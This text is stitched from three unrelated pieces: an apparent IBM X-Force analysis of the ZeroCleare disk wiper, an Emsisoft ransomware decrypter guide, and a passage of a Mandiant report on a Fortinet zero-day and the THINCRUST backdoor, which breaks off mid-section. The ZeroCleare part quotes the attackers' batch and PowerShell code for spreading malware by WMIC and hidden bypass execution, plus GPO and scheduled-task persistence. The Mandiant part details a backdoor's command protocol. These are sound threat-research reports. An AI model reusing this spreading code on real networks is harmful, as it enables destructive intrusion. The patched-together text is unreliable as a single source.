A batch file is a script file that’s typical to DOS, OS/2 and Microsoft Windows. It consists of a series of commands to be executed by the command-line interpreter, stored in a plain text file. On devices running Windows operating systems, a batch file would store commands in serial order. ZeroCleare attackers used at least seven batch files in the attack’s flow to add functionality.
### v.bat
Batch script v.bat is designed to read a text file containing system hostnames. In this case, the file is called 'listfile.txt' although other names for this file have also been observed. For each hostname within the list, the script first copies the contents of directory "C:\Users\$USER\Desktop\UpdateTemp" to "\\$hostname\c$\Windows\Temp" and then attempts to run "cmd /c c:\Windows\Temp\cu.bat" using Windows Management Interface Command (WMIC), which is a simple command prompt tool that returns information about the system that’s running it.
```batch
for /F "tokens=*" %%A in (listfile.txt) do (
xcopy /S /Y "C:\Users\$USER\Desktop\UpdateTemp" \\%%A\c$\Windows\Temp && wmic /node:"%%A" process call create "cmd /c c:\Windows\Temp\cu.bat"
)
```
Batch files 1.bat, 2.bat, 3.bat, 4.bat, and 5.bat appear redundant as they were all identified to have the same function as v.bat.
### cu.bat
Once it is run by its predecessor (v.bat), the batch script cu.bat begins by switching to the directory C:\Windows\Temp. It checks for the existence of '%PROGRAMFILES(X86)%' to determine if it is running on a 64- or 32-bit system architecture. It will change to the 'x64' directory as needed, but otherwise the switch proceeds with the 'x86' directory. Once that’s established, cu.bat runs the file .\ClientUpdate.exe, which is the ZeroCleare malware.
```batch
cd c:\Windows\Temp\
IF EXIST "%PROGRAMFILES(X86)%" (cd .\x64) ELSE (cd .\x86)
.\ClientUpdate.exe
```
## PowerShell Scripts Used by ZeroCleare Attackers
PowerShell is a task-based command-line shell and scripting language built on .NET. As such, it is part of every Windows operating system. While PowerShell is originally designed to help system administrators and power-users rapidly automate tasks that manage OS and its processes, it is also widely used by attackers that rely on ‘living off the land’ tactics. ZeroCleare attackers used some PowerShell scripts in the attack kill chain. Further detail follows.
### ClientUpdate.ps1
X-Force IRIS identified two PowerShell scripts with the name ClientUpdate.ps1. The first and shorter of the two appeared to be the parent of the second and larger script. The first, short script takes as its parameter a decryption key and defines a variable $ClientData which contains a large quantity of AES-encrypted and Base64-encoded data. The script decodes this data with the decryption key, saves it in the current directory as _ClientUpdate.ps1, and executes it using PowerShell.exe. It passes the decryption key as a parameter. It then sleeps for 5 seconds before deleting the newly created script file.
We were able to identify the decryption key from system artifacts and discovered that the $ClientData variable contained the larger version of the ClientUpdate.ps1 script.
The second ClientUpdate.ps1 script is significantly longer and more complex. The overall purpose of this script is to spread the ZeroCleare malware as far as it can across the domain. This script sets out to do that by setting up a network of master and slave (agent) systems, with each agent responsible for copying and executing the malware onto a proportion of the target (client) systems. Domain controllers were specifically chosen as agents to facilitate the spreading, and the Active Directory PowerShell module 'Get-ADComputer' cmdlet was used to assemble lists of target and client systems.
The script accepts a large variety of parameters, most of which are optional with the exception of Username, Password, and Decryption key.
- UserName (passed as base64)
- Password (passed as base64)
- DECKey (decryption key)
- CleanUpShareDrives (default: false)
- DCParent
- LogPath (default: C:\Log)
- MasterSlave
- AgentMode (false)
- AgentTimeOut (30)
- FailedMode (ExchangeSingle or ExchangeSwap)
- Master
- RunMode (IMM or SCH)
- TimeSpan (30)
- MaxThreads (30)
- ClientCheckPort (445)
- ClientCheckTimeOut (2)
- ClientForceCopy (false)
- DCHostName
An example of the script being run was observed as follows:
```powershell
powershell.exe -exec bypass -WindowStyle Hidden -NoLogo -file "C:\Users\Public\Public Updates\ClientUpdate.ps1" -Master -RunMode "IMM" -TimeSpan 12 -MaxThreads 30 -ClientCheckPort 445 -ClientCheckTimeOut 2 -UserName "string here" -Password "string here" -DECKey "abc123" -ClientForceCopy -CleanUpShareDrives -DCParent "dc01.domain.com"
```
The script is multifunctional and can act in a master or slave capacity depending on the parameters originally passed to it.
#### Master and Slave Modes
The ClientUpdate.ps1 PowerShell script has two main modes of operation:
1. **$Master**
If it is running in $Master mode, the script identifies other domain controllers, then copies and executes the script on those machines in the $Master mode. It identifies all non-DC client/target systems and begins to copy and execute the ClientUpdate.exe wiper malware on them, with the other initiated domain controllers doing the same.
2. **$MasterSlave**
In $MasterSlave mode, one domain controller will act as the Master and identify other domain controllers to copy and run the script on them in Agent/Slave mode. The work of copying and executing the malware on the client targets is then divided up by the master and assigned to the agents, who then report back to the master on their progress.
The way the script is laid out means that the same script can be used by master or agent systems with the parameters determining what function they should be performing. The main body of the script performs the following:
- First it runs the 'Update-DCGPO' function which creates a new GPO to run script ClientUpdateCore.ps1 on startup. The GPO is named "ClietnUpdate" (note the misspelling).
- If parameters $MasterSlave -eq $true -and $AgentMode -eq $false, then run functions:
- CleanUp-ShareDrives
- Start-DCController
- If parameters $MasterSlave -eq $true -and $AgentMode -eq $true, then run functions:
- CleanUp-ShareDrives (only if parameter $CleanUpShareDrives is true)
- Start-AgentController
- Extract-Self
- Execute-Self
- If parameter $Master -eq $true
- CleanUp-ShareDrives
- Start-MasterController
- Extract-Self
- Execute-Self
Further details of the functions listed above are presented in the sections below.
### ClientUpdate.ps1: Script’s Notable Functions
- **CleanUp-ShareDrives**
Runs command 'net.exe use * /delete /y' to disconnect all mapped network drives.
- **Start-DCController**
Gets a list of all domain controllers for current domain and stores as $AllDC.
- For each DC in $AllDC:
- Creates DCObject (this is a custom defined object which contains properties and functions to do tasks such as create shared drives/folders, and copy/run the script on clients)
- Creates shared drive \\$DCName\C$
- Creates directory \\$DCName\C$\Users\Public\Public Updates\
- Copies itself to \\$DCName\C$\Users\Public\Public Updates\
- Attempts to run the script on the DC in Agent mode with the following command:
```powershell
Invoke-WmiMethod -class Win32_process -name Create -ArgumentList $CMD -ComputerName $this.DCName -Credential $Credential -ErrorAction Stop;
```
Where $CMD is:
```powershell
PowerShell.exe -exec bypass -WindowStyle Hidden -file $LocalScriptPath $Args
```
$LocalScriptPath is:
`C:\Users\Public\Public Updates\$SelfScript`
And $Args are:
```powershell
"-RunMode", ('"{0}"' -f $RunMode),
"-TimeSpan", ('{0}' -f $TimeSpan),
"-MaxThreads", ('{0}' -f $MaxThreads),
"-ClientCheckPort", ('{0}' -f $ClientCheckPort),
"-ClientCheckTimeOut", ('{0}' -f $ClientCheckTimeOut),
"-UserName", ('"{0}"' -f $UserNameCollection.RAW),
"-Password", ('"{0}"' -f $PasswordCollection.RAW),
"-DECKey", ('"{0}"' -f $DECKey)
"-Master",
"-DCHostName", ('"{0}"' -f $this.DCName)
```
- If above fails it attempts to run instead:
```powershell
Invoke-WmiMethod -class Win32_process -name Create -ArgumentList $CMD -ComputerName $this.DCName -ErrorAction SilentlyContinue;
```
Once it has done this for all systems in $AllDC, the ClientUpdate.ps1 PowerShell script then retrieves a list of all non-DC systems using the PowerShell module Get-ADComputer. It filters out those already present on its DC list and stores them as variable $AllClient. Next, the script divides up the client list and assigns portions to each of the initialized domain controller agents. The agents work to copy and execute the ZeroCleare malware onto each of their assigned clients.
There are also functions to keep track of agent workloads and the number of failed and successful clients. A client is determined to have failed if the agent cannot connect to it and create a shared folder on it. As redundancy, a swapping mechanism is in place to pass failed clients to another agent to try to infect them. These agents do not appear to check the status of the drive wiping malware itself.
### Start-AgentController
- Generates a ClientUpdateScript from the encrypted data within $UpdateTempContents. In the sample we analyzed, the script generated was named 'ClientUpdateCore.ps1'.
- Creates DCObject for supplied DCHostName (itself).
- Creates a RunspacePool to allow for multithreading and then creates a thread for each client in its assigned client list.
- For each assigned client, the work thread creates a ClientUpdateObject for the specified client, creates a shared drive on the client \\$DNSHostName\C$, copies the $ClientUpdateScript to \\$DNSHostName\C$\Windows\Temp, and then executes the script using the following:
```powershell
Invoke-WmiMethod -class Win32_process -name Create -ArgumentList $CMD -ComputerName $this.DNSHostName -Credential $Credential -ErrorAction Stop
```
Where $CMD is:
```powershell
@(
"PowerShell.exe",
"-exec", "bypass",
"-file", ('"{0}"' -f $this.LocalScriptFilePath),
"-TimeSpan", ('{0}' -f $SCHTimeSpan),
"-DCHostName", ('{0}' -f $this.DCObject.DCName),
"-ClientHostName", ('{0}' -f $this.DNSHostName),
"-UserName", ('{0}' -f $UserName),
"-Password", ('{0}' -f $Password),
"-DECKey", ('{0}' -f $DECKey)
)
```
The agent also keeps track of failed and successful clients so it can report back this status to the master.
### Start-MasterController
- Generates a ClientUpdateScript from the encrypted data within $UpdateTempContents. In the sample we analyzed, the script generated was named ClientUpdateCore.ps1.
- Checks if its own file is running from C:\Users\Public\Public Updates, and if not, it will attempt to create the directory and copy itself into that destination.
- Creates scheduled task called 'Optimize Startup' with start time listed as Get-Date + 20 seconds. This task is designed to rerun itself from the new location. If the task registration is successful, then the script exits. If it finds the task already present then it uses it as an indication that it has already been restarted and continues on.
- Gets a list of all domain controllers for the current domain as $AllDC.
- Gets a list of all non-DC systems as $AllClient.
- Loops through the list of DCs and performs the following for each (excluding itself or its parent):
- Creates shared drive \\$DNSHostname\C$.
- Checks if script already exists on the system.
- Creates work folder \\$DNSHostname\C$\Users\Public\Public Updates.
- Copies itself to the newly created work folder.
- Runs the copied script in Master mode as follows:
```powershell
Invoke-WmiMethod -class Win32_process -name Create -ArgumentList $CMD -ComputerName $this.DCName -Credential $Credential -ErrorAction Stop
```
Where $CMD is:
```powershell
"PowerShell.exe"
"-exec", "bypass",
"-file", ('"{0}"' -f $this.LocalScriptPath) $Args
```
And $Args are as follows:
```powershell
"-RunMode", ('"{0}"' -f $RunMode),
"-TimeSpan", ('{0}' -f $TimeSpan),
"-MaxThreads", ('{0}' -f $MaxThreads),
"-ClientCheckPort", ('{0}' -f $ClientCheckPort),
"-ClientCheckTimeOut", ('{0}' -f $ClientCheckTimeOut),
"-UserName", ('"{0}"' -f $UserNameCollection.RAW),
"-Password", ('"{0}"' -f $PasswordCollection.RAW),
"-DECKey", ('"{0}"' -f $DECKey),
"-Master",
"-DCParent", ('"{0}"' -f $SelfDC)
```
Once all DCs have been initialized, it creates a RunspacePool for multithreading and starts a thread for each client in $AllClient. The thread does the following for each client:
- Creates shared drive \\$DNSHostName\C$.
- Attempts to copy the generated ClientUpdateScript to \\$DNSHostName\C$\Windows\Temp\UpdateTemp.
- Runs copied script with:
```powershell
Invoke-WmiMethod -class Win32_process -name Create -ArgumentList $CMD -ComputerName $this.DNSHostName -Credential $Credential -ErrorAction Stop;
```
Where $CMD is:
```powershell
(
"PowerShell.exe",
"-exec", "bypass",
"-file", ('"{0}"' -f $this.LocalScriptFilePath),
"-TimeSpan", ('{0}' -f $SCHTimeSpan),
"-DCHostName", ('{0}' -f $this.DCObject.DCName),
"-ClientHostName", ('{0}' -f $this.DNSHostName),
"-UserName", ('{0}"' -f $UserName),
"-Password", ('{0}' -f $Password),
"-DECKey", ('{0}' -f $DECKey)
)
```
## Encrypted Data Reveals Additional Copies of Existing Files
A redundancy mechanism of sorts, or maybe a way to resuscitate deleted malware files, the ClientUpdate.ps1 script contains a number of AES-encrypted and base64-encoded files stored within an array called $UpdateTempContents. We decrypted the contents of $UpdateTempContents using the identified key and found that these files all matched samples we encountered previously in this attack, namely:
1. GPOClientUpdateCore.ps1
2. ClientUpdateCore.ps1
3. x64\ClientUpdate.exe
4. x64\soy.exe
5. x86\ClientUpdate.exe
6. x86\elrawdsk.sys
Drilling into the first script, GPOClientUpdateCore.ps1, we inferred it was used for an Update-DCGPO function within ClientUpdate.ps1 script. This function applies a group policy object (GPO) to the domain controllers. Within this function, the script is copied to:
`C:\Windows\SYSVOL\sysvol\$Domain\Policies\{$Guid}\Machine\Scripts\Startup\ClientUpdateCore.ps1`
It is then added as a GPO named 'ClietnUpdate' with the following parameters:
- Added to `C:\Windows\SYSVOL\sysvol\$Domain\Policies\{$Guid}\Machine\Scripts\psscripts.ini`
- "[Startup]",
- "0CmdLine=ClientUpdateCore.ps1"
- ('0Parameters=-DECKey "{0}"' -f $DECKey),
- "[Shutdown]",
- "0CmdLine=",
- "0Parameters="
- Added to `C:\Windows\SYSVOL\sysvol\$Domain\Policies\{$Guid}\GPT.ini`
- "[General]",
- "Version=2",
- "displayName=New Group Policy Object"
The script GPOClientUpdateCore.ps1 itself performs the following:
- Creates folder C:\Windows\Temp\UpdateTemp.
- Decrypts and extracts the encrypted contents of $UpdateTempContents to the newly created directory.
- Checks if the system is x86 or x64 and executes the corresponding version of ClientUpdate.exe.
The contents of this script are generated at runtime by the Generate-ClientController function of ClientUpdate.ps1. The generation function should result in the contents of $UpdateTempContents as found within ClientUpdate.ps1 that is copied to the next script, GPOClientUpdateCore.ps1. However, in the script we analyzed, this did not appear to work and $UpdateTempContents was empty. It could mean that the extraction and execution portions of this particular script sample failed.
## ZeroCleare: A Likely Collaboration Between Iranian State Sponsored Groups
X-Force IRIS assesses that the ZeroCleare campaign included compromise and access by actors from the ITG13 group and at least one additional group, likely Iran-based threat actors. This assessment is based on ITG13's traditional mission, which has not included executing destructive cyber-attacks in the past, the gap in time between the initial access facilitated by ITG13, the last stage of the intrusion, as well as the different TTPs observed.
Let’s look at the details of some of the resources used throughout the ZeroCleare attack and which can connect it with ITG13. For initial access, the IP address 193.111.152[.]13, which was associated with ITG13 in recent Oilrig/APT34 leaks, and as also reported by Palo Alto, was used to scan target networks and access an account as early as the Fall of 2018. A different Iranian threat actor likely accessed accounts from that address in mid-2019 preceding disk wiping operations.
One of the IP addresses used to access compromised network accounts in mid-2019 was 194.187.249[.]103, which is adjacent to another IP address, 194.187.249[.]102. That last IP address was used several months prior to the attack by the threat actor Hive0081 (aka xHunt). While an interesting adjacency, X-Force IRIS does not have evidence Hive0081 was involved in the ZeroCleare attack. Additionally, while recent reporting indicates that the Russian threat actor IRIS tracks as ITG12 (aka Turla) had access to ITG13 tools and infrastructure potentially during this time frame, X-Force IRIS does not believe ITG12 was behind the ZeroCleare attack.
During the destructive phase, the threat actor brute forced passwords to gain access to several network accounts, which were used to install the China Chopper and Tunna web shells after exploiting a SharePoint vulnerability. X-Force IRIS found an additional web shell named "extension.aspx", which shared similarities with the ITG13 tool known as TWOFACE/SEASHARPEE including the methods that were dynamically called from assembly, the use of AES encryption, as well as single letter variable names.
The same threat actor also attempted to leverage legitimate remote access software, such as TeamViewer, and used an obfuscated version of Mimikatz to collect credentials from compromised servers.
Regarding the ZeroCleare malware itself, while it shares some high-level similarities with Shamoon v3, specifically in how it used an EldoS RawDisk driver, X-Force IRIS assesses that ZeroCleare is dissimilar enough in its code and deployment mechanism to be considered distinct from the Shamoon malware family and treated as separate malware.
While X-Force IRIS cannot attribute the activity observed during the destructive phase of the ZeroCleare campaign, we assess that high-level similarities with other Iranian threat actors, including the reliance on ASPX web shells and compromised VPN accounts, the link to ITG13 activity, and the attack aligning with Iranian objectives in the region, make it likely this attack was executed by one or more Iranian threat groups.
## A New Destructive Wiper Threat in the Wild
Various links inferred from examining common TTPs and indicators of compromise as mentioned in the previous section make it possible that this wiper variant was built by Iran-based nation state attackers. Recent activity from that sphere includes the “Sakabota” backdoor activity, recently reported by X-Force IRIS, also tied to ITG13 (aka “Oilrig” and “APT34”), as well as the Lyceum campaign reported by Dell-EMC SecureWorks. In these campaigns, the top targets were Kuwaiti shipping and transportation organizations.
## Energy Sector in the Crosshairs
Nation-state attackers have typically carried out destructive attacks against the energy sector, with historic focus especially oil and gas; however, destructive attacks can target any entity. The key role oil and gas production and processing play on both the national and global level represents a high-value target for state-sponsored adversarial actors. These types of attackers may be tasked with conducting anything from industrial espionage to cyber kinetic attacks designed to disrupt the critical infrastructure of rival nations. Depending on the sophistication, scale, and frequency of attacks, cyber incidents in this space have the potential to disrupt critical services, damage or destroy highly specialized equipment, and ultimately inflict detrimental cascading effects upon global energy security and industries downstream.
While nation state attacks have been happening more in the past decade, it is since at least 2012 that Iranian state-sponsored threat actors have been leveraging cyber-attacks to inflict destructive, kinetic effects on their targets. The use of cyber-based weapons in lieu of conventional military tactics presents Iran, in this case, with a low-cost, and potentially non-attributable means of conducting hostile, and even war-like activity. With attribution to one specific group becoming a challenge nowadays, working under the cyber cloak of anonymity can also allow Iran to evade sanctions and preserve its relations with international players who may support its economic and nuclear energy interests.
Looking at the geographical region hit by the ZeroCleare malware, it is not the first time the Middle East has seen destructive attacks target its energy sector. In addition to underpinning the economies of several Gulf nations, the Middle East petrochemical market, for example, hosts approximately 64.5% of the world’s proven oil reserves, making it a vital center of global energy architecture. Destructive cyberattacks against energy infrastructure in this arena therefore represent a high-impact threat to both the regional and international markets.
## Mitigating the Risk Posed by Destructive Malware
When it comes to destructive attacks, the critical actions for security teams to take are early detection and escalation and coordinated response to contain and stop the spread. Here are some tips from our team that can help mitigate the risk of destructive malware.
### Use and share threat intelligence to understand the risk to your organization
Each threat actor has different motivations, capabilities, and intentions, and threat intelligence can help provide insights that increase the efficacy of an organization’s preparedness and eventual response to an incident. After the release of the ZeroCleare paper, our team received more information from other research teams which helped us calibrate certain IOCs in the paper. Sharing threat intelligence is a practice defenders must prioritize to better mitigate risk.
### Build effective defense-in-depth
Incorporate multiple layers of security controls across the entire Cyberattack Preparation and Execution Framework.
### Deploy IAM, limit privileged users, and implement MFA
In most attacks, adversarial actors leverage privileged accounts to expand their foothold in compromised networks. Limit the number of those accounts to a minimum and back them up with multi-factor authentication (MFA). Also, don’t allow one account to access all systems. Deploy Identity and Access Management (IAM) to apply business-process centric policies to what your users can access. That way, if their account is compromised, the attacker will have a harder time using it for access to other parts of the network. Leveraging IAM can also help baseline legitimate access and alert security teams when lateral movement could be abusing access to compromised accounts.
### Have backups, test backups, and keep offline backups
Backing up systems is a foundational best practice, but ensuring the organization has effective backups of critical systems and testing these backups is more important than ever. Being able to use backups in recovery can make a significant difference in remediating destructive malware attacks.
### Test your response plans under pressure
Use of a well-tailored tabletop exercise and a cyber range simulation can help ensure that your teams are indeed ready, on both the tactical and strategic levels, to manage a destructive malware incident. Rehearsed response plans require ongoing testing and adjustment, but they allow the IR team to carry out plans and be able to implement them effectively when the time comes to respond and remediate.
For emergencies or if your organization is under attack, please call:
**X-FORCE EMERGENCY RESPONSE HOTLINE 888-241-9812**
## Annex: IOCs
This section contains additional indicators of compromise (IOCs) related to each file and script we analyzed.
### ClientUpdate.exe (x64)
**Notable Strings**
- \\?\ElRawDisk
- System\CurrentControlSet\Control\NetworkProvider\Order
- {82B5234F-DF61-4638-95D5-341CAD244D19}
- b4b615c28ccd059cf8ed1abf1c71fe03c0354522990af63adf3c911e2287a4b906d47d
- \??\c:
- /c soy.exe
- C:\windows\system32\cmd.exe
- \\.\c:
- C:\Users\Developer\source\repos\ZeroCleare\x64\Release\zeroclear.pdb
### Soy.exe
**File System**
- saddrv.sys
- elrawdsk.sys
**Service**
- Name: VBoxDrv
- Service Type: Driver
- Start Type: Demand Start
- Binary: $CurrentPath\elrawdsk.sys
**Mutex**
- Ptición de trabajo
**Notable Strings**
- C:\Users\[User]\Desktop\TDL\Source\Furutaka\output\x64\Release\soy.pdb
- Software\Oracle\VirtualBox
- The Magic Word!
- VBoxDrv
- \Device
- VBoxUSBMon
- VBoxNetAdp
- VBoxNetLwf
- saddrv.sys
- Ptición de trabajo
### elrawdsk.sys
### ClientUpdate.exe (x86)
**Notable Strings**
- \\?\ElRawDisk
- System\CurrentControlSet\Control\NetworkProvider\Order
- {82B5234F-DF61-4638-95D5-341CAD244D19}
- b4b615c28ccd059cf8ed1abf1c71fe03c0354522990af63adf3c911e2287a4b906d47d
- \??\c:
- zeroclear.exe
- elrawdsk.sys
- /u /c sc create soydsk type= kernel start= demand binPath= "C:\windows\system32\cmd.exe
- /u /c sc start soydsk
- \\.\c:
- C:\Users\Developer\source\repos\ZeroCeare32\Release\zeroclear.pdb
### ClientUpdate.ps1
**File System**
- C:\Users\Public\Public Updates\
- C:\Windows\Temp\UpdateTemp\
- UpdateTemp\
- ClientUpdate.exe
- Soy.exe
- elrawdsk.sys
- ClientUpdateCore.ps1
- GPOClientUpdateCore.ps1
**Scheduled Task**
- Task Name: "Optimize Startup"
- Trigger: Run once at $CurrentDate + 20 seconds
- Description: "This idle task reorganizes the cache files used to display the start menu. It is enabled only when the cache files are not optimally organized."
- Action: PowerShell.exe -exec bypass -WindowStyle Hidden -NoLogo -file $SelfScriptPath $ScriptArgs
**Group Policy Object (GPO)**
- Name: "ClietnUpdate"
- TargetName: "Domain Computers"
- Startup Script: "C:\Windows\SYSVOL\sysvol\$Domain\Policies\{$Guid}\Machine\Scripts\Startup\ClientUpdateCore.ps1"
## About IBM X-Force
IBM X-Force studies and monitors the latest threat trends, advising customers and the general public about emerging and critical threats, and delivering security content to help protect IBM customers. From infrastructure, data and application protection to cloud and managed security services, IBM Security Services has the expertise to help safeguard your critical assets. IBM Security protects some of the most sophisticated networks in the world and employs some of the best minds in the business. Learn more at ibm.com/security.
© Copyright IBM Corporation 2019
IBM Security
75 Binney St
Cambridge, MA 10504
Produced in the United States of America
February 2019
IBM, the IBM logo, ibm.com, and X-Force are trademarks of International Business Machines Corp., registered in many jurisdictions worldwide. Other product and service names might be trademarks of IBM or other companies. A current list of IBM trademarks is available on the web at “Copyright and trademark information” at ibm.com/legal/copytrade.shtml. This document is current as of the initial date of publication and may be changed by IBM at any time. Not all offerings are available in every country in which IBM operates.
THE INFORMATION IN THIS DOCUMENT IS PROVIDED “AS IS” WITHOUT ANY WARRANTY, EXPRESS OR IMPLIED, INCLUDING WITHOUT ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND ANY WARRANTY OR CONDITION OF NON-INFRINGEMENT. IBM products are warranted according to the terms and conditions of the agreements under which they are provided. |
# How to use the Emsisoft Decrypter for Philadelphia
**IMPORTANT!** Make sure you remove the malware from your system first. Otherwise, it will repeatedly lock your system or encrypt files. Any reliable antivirus solution can do this for you. If your system was compromised through the Windows Remote Desktop feature, we also recommend changing all passwords of all users that are allowed to log in remotely and check the local user accounts for additional accounts the attacker might have added.
The decrypter requires access to a file pair consisting of one encrypted file and the original, unencrypted version of the encrypted file to reconstruct the encryption keys needed to decrypt the rest of your data. Please do not change the file names of the original and encrypted file, as the decrypter may perform file name comparisons to determine the correct file extension used for encrypted files on your system.
## How to decrypt your files
1. Download the decrypter from the same site that provided this “How To” document.
2. Once downloaded, select your file pair, and drag and drop it with your mouse onto the decrypter executable.
3. Once the mouse key is released, the decrypter will start to reconstruct the required encryption parameters. Depending on the ransomware, this process can take a significant amount of time.
4. The decrypter will display the reconstructed encryption details once the recovery process finished. The display is purely informational to confirm that the required encryption details have been found.
5. The license terms will show up next, which you have to agree to by clicking the “Yes” button.
6. Once the license terms are accepted, the primary decrypter user interface opens.
7. By default, the decrypter will pre-populate the locations to decrypt with the currently connected drives and network drives. Additional locations can be added using the “Add” button. Also, the object list accepts files and locations to be added via drag and drop.
8. Decrypters typically offer various options depending on the particular malware family. The available options are located in the Options tab and can be enabled or disabled there. You can find a detailed list of the available Options below.
9. After you added all the locations you want to decrypt to the list, click “Decrypt” to start the decryption process. The screen will switch to a status view, informing you about the current process and decryption status of your files.
10. The decrypter will inform you once the decryption process is finished. If you require the report for your personal records, you can save it by clicking the “Save log” button. You can also copy it straight to your clipboard to paste it into emails or forum posts if you are asked to.
## Available decrypter options
The decrypter currently implements the following options:
- **Keep encrypted files**
Since the ransomware does not save any information about the unencrypted files, the decrypter can’t guarantee that the decrypted data is identical to the one that was previously encrypted. Therefore, the decrypter by default will opt on the side of caution and not remove any encrypted files after they have been decrypted. If you want the decrypter to remove any encrypted files after they have been processed, you can disable this option. Doing so may be necessary if your disk space is limited. |
# Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation
Cyber espionage threat actors continue to target technologies that do not support endpoint detection and response (EDR) solutions such as firewalls, IoT devices, hypervisors, and VPN technologies (e.g., Fortinet, SonicWall, Pulse Secure, and others). Mandiant has investigated dozens of intrusions at defense industrial base (DIB), government, technology, and telecommunications organizations over the years where suspected China-nexus groups have exploited zero-day vulnerabilities and deployed custom malware to steal user credentials and maintain long-term access to the victim environments.
We often observe cyber espionage operators exploiting zero-day vulnerabilities and deploying custom malware to Internet-exposed systems as an initial attack vector. In this blog post, we describe scenarios where a suspected China-nexus threat actor likely already had access to victim environments and then deployed backdoors onto Fortinet and VMware solutions as a means of maintaining persistent access to the environments. This involved the use of a local zero-day vulnerability in FortiOS (CVE-2022-41328) and deployment of multiple custom malware families on Fortinet and VMware systems. Mandiant published details of the VMware malware ecosystem in September 2022.
In mid-2022, Mandiant, in collaboration with Fortinet, investigated the exploitation and deployment of malware across multiple Fortinet solutions including FortiGate (firewall), FortiManager (centralized management solution), and FortiAnalyzer (log management, analytics, and reporting platform). The following steps generally describe the actions the threat actor took:
1. Utilized a local directory traversal zero-day (CVE-2022-41328) exploit to write files to FortiGate firewall disks outside of the normal bounds allowed with shell access.
2. Maintained persistent access with Super Administrator privileges within FortiGate Firewalls through ICMP port knocking.
3. Circumvented firewall rules active on FortiManager devices with a passive traffic redirection utility, enabling continued connections to persistent backdoors with Super Administrator privileges.
4. Established persistence on FortiManager and FortiAnalyzer devices through a custom API endpoint created within the device.
5. Disabled OpenSSL 1.1.0 digital signature verification of system files through targeted corruption of boot files.
Mandiant attributes this activity to UNC3886, a group we suspect has a China-nexus and is associated with the novel VMware ESXi hypervisor malware framework disclosed in September 2022. At the time of the ESXi hypervisor compromises, Mandiant observed UNC3886 directly connect from FortiGate and FortiManager devices to VIRTUALPITA backdoors on multiple occasions.
Mandiant suspected the FortiGate and FortiManager devices were compromised due to the connections to VIRTUALPITA from the Fortinet management IP addresses. Additionally, the FortiGate devices with Federal Information Processing Standards (FIPS) compliance mode enabled failed to boot after it was later rebooted. When FIPS mode is enabled, a checksum of the operating system is compared with the checksum of a clean image. Since the operating system was tampered by the threat actor, the checksum comparison failed, and the FortiGate Firewalls protectively failed to startup. With assistance from Fortinet, Mandiant acquired a forensic image of these failing devices, prompting the discovery of the ICMP port knocking backdoor CASTLETAP.
## Fortinet Ecosystem
Multiple components of the Fortinet ecosystem were targeted by UNC3886 before they moved laterally to VMware infrastructure. These components and their associated versions, at the time of compromise, are listed as follows:
- **FortiGate:** 6.2.7 – FortiGate units are network firewall devices which allow for the control and monitoring of network traffic passing through the devices.
- **FortiManager:** 6.4.7 – The FortiManager acts as a centralized management platform for managing Fortinet devices.
- **FortiAnalyzer:** 6.4.7 – The FortiAnalyzer acts as a centralized log management solution for Fortinet devices as well as a reporting platform.
### Scenario #1 (Summary): FortiManager Exposed to the Internet
Mandiant observed two distinct attack lifecycles where the threat actor abused Fortinet technologies to establish network access. The first occurred when the threat actor initially gained access to the Fortinet ecosystem while the FortiManager device was exposed to the internet.
During this attack lifecycle, backdoors disguised as legitimate API calls (THINCRUST) were deployed across both FortiAnalyzer and FortiManager devices. Once persistence was established across the two devices, FortiManager scripts were used to deploy backdoors (CASTLETAP) across the FortiGate devices. Mandiant observed SSH connections from the Fortinet devices to the ESXi servers, followed by the installation of malicious vSphere Installation Bundles which contained VIRTUALPITA and VIRTUALPIE backdoors. This enabled the threat actor persistent access to the hypervisors and allowed the attacker to execute commands on guest virtual machines.
Mandiant has no evidence of a zero-day vulnerability being used to gain initial access or deploy the malicious VIBs at the time of writing this post. VIRTUALPITA and VIRTUALPIE were discussed in more detail in a previous Mandiant blog post published in September 2022.
### Scenario #2 (Summary): FortiManager Not Exposed to the Internet
The second attack lifecycle occurred where the FortiManager devices had network Access Control Lists (ACL) put in place to restrict external access to only TCP port 541 (FortiGate to FortiManager Protocol). During this attack lifecycle, the threat actor deployed a network traffic redirection utility (TABLEFLIP) and reverse shell backdoor (REPTILE) on the FortiManager device to circumvent the new ACLs. With the redirection rules established by the TABLEFLIP utility, the threat actor was able to access the REPTILE backdoor directly from the Internet for continued access to the environment.
### Scenario #1 (Detailed): FortiManager Exposed to the Internet
The technical details that follow describe the attack path taken by the threat actor when the FortiManager was initially exposed to the Internet.
#### THINCRUST Backdoor (Python-based Backdoor)
Mandiant’s analysis identified that upon initial connection to the FortiManager, the threat actor appended python backdoor code to a legitimate web framework file. Mandiant classified this new malware family as THINCRUST.
The threat actor modified the legitimate file `/usr/local/lib/python3.8/proj/util/urls.py` to include an additional malicious API call, `show_device_info`. This allowed the threat actor to interact with the THINCRUST backdoor through POST requests to the URI `/p/util/show_device_info`.
When a POST request was sent to the `show_device_info` URL, it passed the request to the function `get_device_info` in `/usr/local/lib/python3.8/proj/util/views.py`. The `get_device_info` function contained the THINCRUST backdoor enabling the threat actor to execute commands, write files to disk, and read files from disk depending on the cookies provided in the POST request.
The `get_device_info` function relied on the presence of two cookies, `FGMGTOKEN` and `DEVICEID`, within the POST requests. The `FGMGTOKEN` cookie is encrypted with an RSA key hardcoded into `views.py` and contained an RC4 key that decrypted the commands received through the `DEVICEID` cookie. The decrypted result of `DEVICEID` was a JSON encoded dictionary with the keys 'id' and 'key'. The 'id' value determined which action to execute within the backdoor, and the “key” value contained a string that acted as the arguments for the action being performed.
| ID | Command |
|----|---------|
| 1 | Execute the command line stored in 'key' |
| 2 | Write the contents of the HTTP request to the file stored in 'key'. The contents are RC4 encrypted |
| 3 | Read the contents of the file stored in 'key' and transfer the contents RC4 encrypted to the client |
While most files in `views.py` had the `@login_required` decorator applied to them, the malicious function `get_device_info` utilized the Django python module native to the system to add a `@csrf_exempt` decorator to the function. This means that the POST request to the malicious API call did not require a login or CSRF token to successfully run.
Mandiant identified that a variant of this malicious API call was also present on a FortiAnalyzer device. While the backdoor function in `views.py`, `get_device_info`, was the same as FortiManager, the API call used to access the backdoor was changed to `/p/utils/fortigate_syslog_send` on the FortiAnalyzer device.
#### Exploitation of CVE-2022-41328 on FortiGate Devices
After persistence was established across the FortiManager and FortiAnalyzer devices with the THINCRUST backdoor, the threat actor deployed FortiManager scripts to multiple FortiGate firewalls. This activity was logged in the FortiGate elog.
